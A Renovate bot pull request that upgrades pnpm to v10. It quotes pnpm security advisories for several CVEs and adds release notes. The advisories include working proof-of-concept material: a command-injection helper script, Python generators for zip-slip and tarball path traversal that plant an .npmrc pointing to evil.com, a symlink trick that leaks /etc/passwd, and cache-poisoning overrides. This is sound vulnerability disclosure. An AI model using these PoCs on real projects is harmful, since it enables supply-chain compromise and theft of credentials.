chore(deps): update pnpm to v10 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
pnpm (source)	8.10.0 → 10.28.2
pnpm (source)	>=8.0.0 → >=10.28.2

---

pnpm no-script global cache poisoning via overrides / ignore-scripts evasion

CVE-2024-53866 / GHSA-vm32-9rqf-rh3r

More information

Details

Summary

pnpm seems to mishandle overrides and global cache:

1. Overrides from one workspace leak into npm metadata saved in global cache
2. npm metadata from global cache affects other workspaces
3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

1. Remove store and cache
   On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
   This step is not required in general, but we'll be using a popular package for PoC that's likely cached
2. Create A/package.json:

   {
     "name": "A",
     "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
     "dependencies": { "rimraf": "6.0.1" }
   }

   Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
3. Create B/package.json:

   {
     "name": "B",
     "dependencies": { "rimraf": "6.0.1" }
   }

   Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Severity

• CVSS Score: 5.8 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-vm32-9rqf-rh3r
• https://nvd.nist.gov/vuln/detail/CVE-2024-53866
• https://github.com/pnpm/pnpm/commit/11afcddea48f25ed5117a87dc1780a55222b9743
• https://github.com/pnpm/pnpm

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm uses the md5 path shortening function causes packet paths to coincide, which causes indirect packet overwriting

CVE-2024-47829 / GHSA-8cc4-rfj6-fhg4

More information

Details

The path shortening function is used in pnpm：

export function depPathToFilename (depPath: string, maxLengthWithoutHash: number): string {
  let filename = depPathToFilenameUnescaped(depPath).replace(/[\\/:*?"<>|]/g, '+')
  if (filename.includes('(')) {
    filename = filename
      .replace(/\)$/, '')
      .replace(/(\)\()|\(|\)/g, '_')
  }
  if (filename.length > maxLengthWithoutHash || filename !== filename.toLowerCase() && !filename.startsWith('file+')) {
    return `${filename.substring(0, maxLengthWithoutHash - 27)}_${createBase32Hash(filename)}`
  }
  return filename
}

However, it uses the md5 function as a path shortening compression function, and if a collision occurs, it will result in the same storage path for two different libraries. Although the real names are under the package name /node_modoules/, there are no version numbers for the libraries they refer to.

In the diagram, we assume that two packages are called packageA and packageB, and that the first 90 digits of their package names must be the same, and that the hash value of the package names with versions must be the same. Then C is the package that they both reference, but with a different version number. (npm allows package names up to 214 bytes, so constructing such a collision package name is obvious.)

Then hash(packageA@1.2.3)=hash(packageB@3.4.5). This results in the same path for the installation, and thus under the same directory. Although the package names under node_modoules are the full paths again, they are shared with C.
What is the exact version number of C?
In our local tests, it depends on which one is installed later. If packageB is installed later, the C version number will change to 2.0.0. At this time, although package A requires the C@1.0.0 version, package. json will only work during installation, and will not affect the actual operation.
We did not receive any installation error issues from pnpm during our local testing, nor did we use force, which is clearly a case that can be triggered.

For a package with a package name + version number longer than 120, another package can be constructed to introduce an indirect reference to a lower version, such as one with some known vulnerability.
Alternatively, it is possible to construct two packages with more than 120 package names + version numbers.
This is clearly an advantage for those intent on carrying out supply chain attacks.

The solution:
The repair cost is also very low, just need to upgrade the md5 function to sha256.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-8cc4-rfj6-fhg4
• https://nvd.nist.gov/vuln/detail/CVE-2024-47829
• https://github.com/pnpm/pnpm

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies

CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw

More information

Details

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

• HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
• Git shorthand dependencies ("pkg": "github:user/repo")
• Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

• A server that returns different tarball content on each request
• A malicious-package that depends on the HTTP tarball
• A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

• Targeted attacks based on request metadata (IP, headers, timing)
• Evasion of security audits (serve benign code during review, malicious code later)
• Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-7vhp-vf5g-r2fw
• https://nvd.nist.gov/vuln/detail/CVE-2025-69263
• https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85
• https://github.com/pnpm/pnpm

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm vulnerable to Command Injection via environment variable substitution

CVE-2025-69262 / GHSA-2phv-j68v-wwqx

More information

Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

• Package: pnpm
• Versions: All versions using @pnpm/config.env-replace and loadToken functionality
• File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
• File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

1. Environment Variable Substitution

   • .npmrc supports ${VAR} syntax
   • Substitution occurs in readLocalConfig()

2. loadToken Execution

   • Uses spawnSync(helperPath, { shell: true })
   • Only validates absolute path existence

3. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

• Private npm registry access
• Control over environment variables
• Ability to place scripts in filesystem

PoC Steps

##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

##### 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

##### 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

• CVSS Score: 7.6 (High)
• CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

• CI/CD pipelines (GitHub Actions, GitLab CI)
• Docker build environments
• Kubernetes deployments
• Private registry users

Low Risk:

• Public registry only
• Production runtime (no pnpm execution)
• Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

• Review CI/CD env vars
• Restrict .npmrc changes
• Monitor build logs

Recommended Fixes

1. Remove shell: true from loadToken
2. Implement helper path allowlist
3. Validate substituted paths
4. Consider sandboxing

Disclosure

• Discovery: 2025-11-02
• PoC: 2025-11-02
• Report: [Pending disclosure decision]

References

• Repository: https://github.com/pnpm/pnpm
• Affected: @pnpm/config.env-replace@^3.0.2
• Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang
Contact: sy2n0@​naver.com

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx
• https://nvd.nist.gov/vuln/detail/CVE-2025-69262
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.27.0

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

CVE-2026-23888 / GHSA-6pfh-p556-v868

More information

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

• All pnpm users who install packages with binary assets
• Users who configure custom Node.js binary locations
• CI/CD pipelines that auto-install binary dependencies
• Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868
• https://nvd.nist.gov/vuln/detail/CVE-2026-23888
• https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.28.1

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm has Windows-specific tarball Path Traversal

CVE-2026-23889 / GHSA-6x96-7vc8-cm3p

More information

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

• On Unix: Backslashes are literal filename characters (safe)
• On Windows: Backslashes are directory separators (exploitable)

PoC

1. Create a malicious tarball with entry package/foo\..\..\.npmrc
2. Host it or use as a tarball URL dependency
3. On Windows: pnpm install
4. Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

• Windows pnpm users
• Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
• Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p
• https://nvd.nist.gov/vuln/detail/CVE-2026-23889
• https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.28.1

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

CVE-2026-23890 / GHSA-xpqm-wm3m-f34h

More information

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@​' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @​scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC

1. Create a malicious package:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@​scope/../../.npmrc": "./malicious.js"
  }
}

2. Install the package:

pnpm add /path/to/malicious-pkg

3. Observe .npmrc created in project root (outside node_modules/.bin).

Impact

• All pnpm users who install npm packages
• CI/CD pipelines using pnpm
• Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @​ commit 5a0ed1d45.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h
• https://nvd.nist.gov/vuln/detail/CVE-2026-23890
• https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.28.1

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm has symlink traversal in file:/git dependencies

CVE-2026-24056 / GHSA-m733-5w8f-5ggw

More information

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

• Developers installing local/file dependencies
• CI/CD pipelines installing git dependencies
• Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

• CVSS Score: 6.7 / 10 (Medium)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw
• https://nvd.nist.gov/vuln/detail/CVE-2026-24056
• https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.28.2

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm has Path Traversal via arbitrary file permission modification

CVE-2026-24131 / GHSA-v253-rj99-jwpq

More information

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

• Supply-chain attack via npm packages
• File permissions changed from 600 to 755 (world-readable)
• Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

• CVSS Score: 6.7 / 10 (Medium)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq
• https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.28.2

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

pnpm incorrectly parses tar archives relative to specification

CVE-2023-37478 / GHSA-5r98-f33j-g8h7

More information

Details

Summary

It is possible to construct a tarball that, when installed via npm or parsed by the registry is safe, but when installed via pnpm is malicious, due to how pnpm parses tar archives.

Details

The TAR format is an append-only archive format, and as such, the specification for how to update a file is to add a new record to the end with the updated version of the file. This means that it is completely valid for an archive to contain multiple copies of, say, package.json, and the expected behavior when extracting is that all versions other than the last get ignored.

This is further complicated by that during tarball extraction, all package managers are configured to drop the first path component, so collisions can be created simply by using multiple root folders in the archive, even without performing updates.

When pnpm extracts a tar archive via tar-stream, it appears to extract only the first file of a given name and discards all subsequent files with the same name.

PoC

Create a root folder with the following layout:

• a/package.json
• package/package.json
• z/package.json

File contents:

a/package.json

{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is a bad version of a test package",
    "dependencies": {
        "react": "^15"
    }
}

package/package.json

{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is a bad version of a test package",
    "dependencies": {
        "react": "^16"
    }
}

z/package.json

{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is the good version of a test package",
    "dependencies": {
        "react": "^17"
    }
}

Then use the tar binary to produce a tarball (working directory is the root folder):
tar -c -z --format ustar -f package.tgz a package z
The order of the folders at the end matters; whichever one is last will end up being the package.json that wins when extracted by npm; the one that is first will be the one that wins when extracted by pnpm.

Install the tarball via the file: protocol.

Observe that with npm, the lockfile has react@17, while with pnpm it has react@15.

Impact

This can result in a package that appears safe on the npm registry or when installed via npm being replaced with a compromised or malicious version when installed via pnpm.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-5r98-f33j-g8h7
• https://nvd.nist.gov/vuln/detail/CVE-2023-37478
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v7.33.4
• https://github.com/pnpm/pnpm/releases/tag/v8.6.8

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

pnpm/pnpm (pnpm)

v10.28.2: pnpm 10.28.2

Compare Source

Patch Changes

• Security fix: prevent path traversal in directories.bin field.

• When pnpm installs a file: or git: dependency, it now validates that symlinks point within the package directory. Symlinks to paths outside the package root are skipped to prevent local data from being leaked into node_modules.

  This fixes a security issue where a malicious package could create symlinks to sensitive files (e.g., /etc/passwd, ~/.ssh/id_rsa) and have their contents copied when the package is installed.

  Note: This only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are not affected.

• Fixed optional dependencies to request full metadata from the registry to get the libc field, which is required for proper platform compatibility checks #​9950.

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v10.28.1

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v10.28.0

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v10.27.0

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v10.26.2: pnpm 10.26.2

Compare Source

Patch Changes

• Improve error message when a package version exists but does not meet the minimumReleaseAge constraint. The error now clearly states that the version exists and shows a human-readable time since release (e.g., "released 6 hours ago") #​10307.

• Fix installation of Git dependencies using annotated tags #​10335.

  Previously, pnpm would store the annotated tag object's SHA in the lockfile instead of the actual commit SHA. This caused ERR_PNPM_GIT_CHECKOUT_FAILED errors because the checked-out commit hash didn't match the stored tag object hash.

• Binaries of runtime engines (Node.js, Deno, Bun) are written to node_modules/.bin before lifecycle scripts (install, postinstall, prepare) are executed #​10244.

• Try to avoid making network calls with preferOffline #​10334.

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v10.26.1: pnpm 10.26.1

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Patch Changes

• Don't fail on pnpm add, when blockExoticSubdeps is set to true #​10324.
• Always resolve git references to full commits and ensure HEAD points to the commit after checkout #​10310.

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v10.26.0

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v10.25.0

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v10.24.0

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v10.23.0: pnpm 10.23

Compare Source

Minor Changes

• Added --lockfile-only option to pnpm list #​10020.

Patch Changes

• pnpm self-update should download pnpm from the configured npm registry #​10205.
• pnpm self-update should always install the non-executable pnpm package (pnpm in the registry) and never the @pnpm/exe package, when installing v11 or newer. We currently cannot ship @pnpm/exe as pkg doesn't work with ESM #​10190.
• Node.js runtime is not added to "dependencies" on pnpm add, if there's a engines.runtime setting declared in package.json #​10209.
• The installation should fail if an optional dependency cannot be installed due to a trust policy check failure #​10208.
• pnpm list and pnpm why now display npm: protocol for aliased packages (e.g., foo npm:is-odd@3.0.1) #​8660.
• Don't add an extra slash to the Node.js mirror URL #​10204.
• pnpm store prune should not fail if the store contains Node.js packages #​10131.

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v10.22.0: pnpm 10.22

Compare Source

Minor Changes

• Added support for trustPolicyExclude #​10164.

  You can now list one or more specific packages or versions that pnpm should allow to install, even if those packages don't satisfy the trust policy requirement. For example:

  trustPolicy: no-downgrade
  trustPolicyExclude:
    - chokidar@4.0.3
    - webpack@4.47.0 || 5.102.1

• Allow to override the engines field on publish by the publishConfig.engines field.

Patch Changes

• Don't crash when two processes of pnpm are hardlinking the contents of a directory to the same destination simultaneously #​10179.

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v10.21.0

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v10.20.0

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Minor Changes

• Support --all option in pnpm --help to list all commands #​8628.

Patch Changes

• When the latest version doesn't satisfy the maturity requirement configured by `minimum

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Project	Deployment	Actions	Updated (UTC)
mondeto-web	Ready	Preview, Comment	Jun 16, 2026 12:00pm

[GigaHierz]

@renovatebot rebase

Branch is failing the build because still references the removed isDark argument on drawPixels(...). That signature changed on main via the QA cleanup (#87) — the only fix needed here is to rebase this branch on top of current main, which already has the corrected drawPixels(ctx, pixelData, mapView, userAddress) call and the matching component prop types. The pnpm v10 bump itself is fine.